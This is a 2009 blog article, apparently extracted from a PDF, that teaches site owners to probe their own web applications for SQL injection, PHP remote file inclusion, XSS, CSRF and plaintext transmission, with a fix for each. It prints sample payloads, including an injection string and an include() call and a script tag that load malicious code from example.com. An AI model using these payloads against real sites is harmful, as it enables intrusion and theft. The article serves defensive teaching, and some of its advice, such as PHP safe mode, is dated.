8/14/2019 Top 5 Ways to Hack into Your Web Application (and how to close those security loopholes!)

http://slidepdf.com/reader/full/top-5-ways-to-hack-into-your-web-application-and-how-to-close-those-security 1/3

Top 5 Ways to Hack into Your Web Application (and how toclose those security loopholes!)

May 27th, 2009 by Patrick M.

Are you familiar with white hat hacking? If you aren’t, you should be. White hat hacking is a planned attack that checks your systems for vulnerabilities. After the hacker successfully (andharmlessly) compromises your environment, they tell you what to do to fix it.

Even though most security loopholes are well-documented, I’m surprised how many open exploitsare in applications that we security scan here at INetU. So stand by for a little White Hat Hacking101, where I’ll teach you how to hack into your own site.

Hack One: Injection Attacks

I’ll start with injection exploits because most IT professionals, even though they have cursory basic

understanding of the dangers, leave too many sites open to the vulnerability, according to the OpenWeb Applications Security Project (OWASP). Injection is passing malicious user-supplied data toan interpreter. The most common form is SQL Injection, where the hacker passes a SQL commandto your database. Are you at risk? Let’s find out.

Find a page on your application that accepts user-supplied information to access a database:

• A login form, signup form, or “forgot password” form is a good start.• A dynamic page that uses URL variables such as ID (product information pages are good

for this).

Knowing that the database command takes the user-supplied information into a WHERE clause, tryto finish the command with SQL that will throw an error. So on our login form, perhaps we want totry putting this into the username: username’ or fake_column IS NULL. If you are greeted with adatabase error message page, success! You’ve hacked your own site.

The Risk: Our hack above seems pretty harmless, but it just finds the place in your applicationsusceptible to malicious code injection. Once a hacker knows they have an unprotected line to your database, the possibilities are endless: vandalism, data theft, or even total system compromise.

The Fix: There are two main ways to protect your site from injection: 1) always sanitize user-submitted data (if a username can’t contain a single quote character, don’t let users enter it), and 2)use a web-specific database login that has the least permissions necessary to perform its tasks (your web application doesn’t need admin access to your database). OWASP has a SQL InjectionPrevention Cheat Sheet that is also particularly helpful.

Hack Two: PHP Remote File Includes

If your site doesn’t use any PHP, then good news: you’re safe! But according to the SANS Institute,PHP is the most popular web application framework . When used properly, PHP can be a very

powerful and useful tool for a number of different applications. Perhaps because of its popularity,it’s also an enticing target for hackers to find exploits. The PHP function allow_url_fopen is a

favorite for hackers not only because it allows them to run their scripts on your site, but also because it is enabled by default.

Are you at risk? Let’s find out.

8/14/2019 Top 5 Ways to Hack into Your Web Application (and how to close those security loopholes!)

http://slidepdf.com/reader/full/top-5-ways-to-hack-into-your-web-application-and-how-to-close-those-security 2/3

Find a PHP script that uses the include() function. If you have a path name in the include, change itto the absolute URL equivalent. If the file still works after this change, success! You’ve just hackedyour own site.

The Risk: Okay, the hacker might need to do a little more legwork in this example, but it severelyincreases the surface area for attack. All a hacker needs to do is find one file to manipulate and addthe line: include(’http://www.example.com/malicious_code.php’) and you are compromised.Compromise might include password stealing, remote root kit installation, and in some casescomplete system compromise.

The Fix: Turning off allow_url_fopen is the most obvious fix, but if that isn’t an option, you cantry turning on PHP’s safe mode to prevent the most common malicious functions from executing onyour server. Keep PHP updated with the latest security patches and be aware of emerging threats byfollowing tech news outlets.

Hack Three: Cross Site Scripting (XSS)

Cross Site Scripting occurs when a website takes malicious user input and, without question, poststhe input to their page. The most common reason for a web application to do this is capturing user feedback: product reviews, blog comments, etc. As today’s Internet user can open discussions andinteract with more websites, XSS hacks are becoming an ever-prevalent problem, possibly soon to

be the most common vulnerability on the Internet .

So are you at risk? Let’s find out.

Search your application for a page that takes user input and outputs it directly to a webpage.Common examples:

• Forums• Comments• Wikis• Reviews

Craft a post that calls on JavaScript from an outside server. For example, try to post: This is ahacked entry <script src=”http://www.example.com/malicious.js”></script>. Now load the pagewhere that post is outputted. Did your script run? Then success! You’ve just hacked your own site.

The Risk: The risk here is both for you and for your visitors. First, this opens your visitors toworms infected through the linked malicious code. Second, your site can be defaced with code thatmanipulates how your page displays. Third, your hijacked site can be flagged by Google and other search engines as a malicious site, and it could take you months to regain your page rank status.Lastly, it opens the next vulnerability: Cross Site Request Forgeries (CSRF).

The Fix: Fixing XSS and CSRF vulnerabilities require the same steps, so read below.

Hack Four: Cross Site Request Forgeries (CSRF)

In a CSRF attack, a hacker uses a cross-site script to hijack a logged-in user’s credentials. If you areat risk for XSS, then you might be at risk for a CSRF attack. Are you? Let’s find out.

Does your application rely on credentials, like session cookies, to grant permissions to users onyour site? If you don’t know offhand, try taking a look at the cookies your browser is storing whenyou login to your application. Even easier, if your site has a “remember me” feature for logging in,

8/14/2019 Top 5 Ways to Hack into Your Web Application (and how to close those security loopholes!)

http://slidepdf.com/reader/full/top-5-ways-to-hack-into-your-web-application-and-how-to-close-those-security 3/3

and you know from above you are vulnerable for XSS attacks, then success! You’ve just hackedyour own site.

The Risk: The most common use of CSRF is to propagate the virus. The Samy MySpace Worm isa good example. Most security-aware users don’t trust random messages from profiles that look “spammy” and therefore don’t open themselves to catching an XSS worm. However, if that user has a friend who has been compromised, a CSRF attack can send a message as the trusted friendwith the infected message, tricking the user to become infected. There are additional risks if theinfected user has “moderator” or “admin” privileges to the site because the hacker automaticallygains those permissions, which could end with entire site compromise.

The Fix: Never trust user-supplied input. Erase any JavaScript supplied by the user, or for thatmatter, any encoded information. Or limit the user’s ability to a strict set of tags (bold and italic, for example) and remove modifiers to those tags on output. For more information OWASP has acomprehensive guide to protection against XSS attacks .

Hack Five: Insecure Communications

Perhaps one of the oldest tricks in the book, site operators and visitors often forget that everythingtransmitted across an insecure protocol—including FTP and HTTP—is plaintext, meaning thatusernames, passwords, private messages, or even credit card information is ripe for the taking for ahacker with the proper tools. A “man-in-the-middle” attack occurs when a malicious user “sniffs”the packets sent between source and destination.

Are you at risk? Let’s find out.

Navigate to a page on your site where you fill out a form, or when user information is displayed tothe site visitor. Is this happening through HTTPS? (Your browser should indicate a lock icon or agreen location bar). If not, that information can be intercepted. Don’t forget FTP. Are your logincredentials for an unsecured FTP port the same as for your database or other secured systems? Doyou upload or download sensitive files through unsecured FTP? Success! You’ve just hacked your own site.

The Risk: This depends on what information a hacker is able to recover. The most basic security breach could be a simple invasion of privacy, but could also result in identity theft, leaking of confidential documents, or the compromise of admin passwords leading to full site compromise.

The Fix: The use of SSL certificates is the most common fix for web-based communication. SSLencrypts data before transmission and decrypts on arrival. The “man-in-the-middle” is left with(nearly) undecipherable encrypted data. Other technologies exist that can achieve the same enddepending on the means of transportation. SSL isn’t a cure-all, however. Make sure to limit the

private data you request from users, or subsequently transmit back to them. For example, whendisplaying the credit card number on file to a user, only display the last four digits, with asterisk marks replacing the remaining numbers.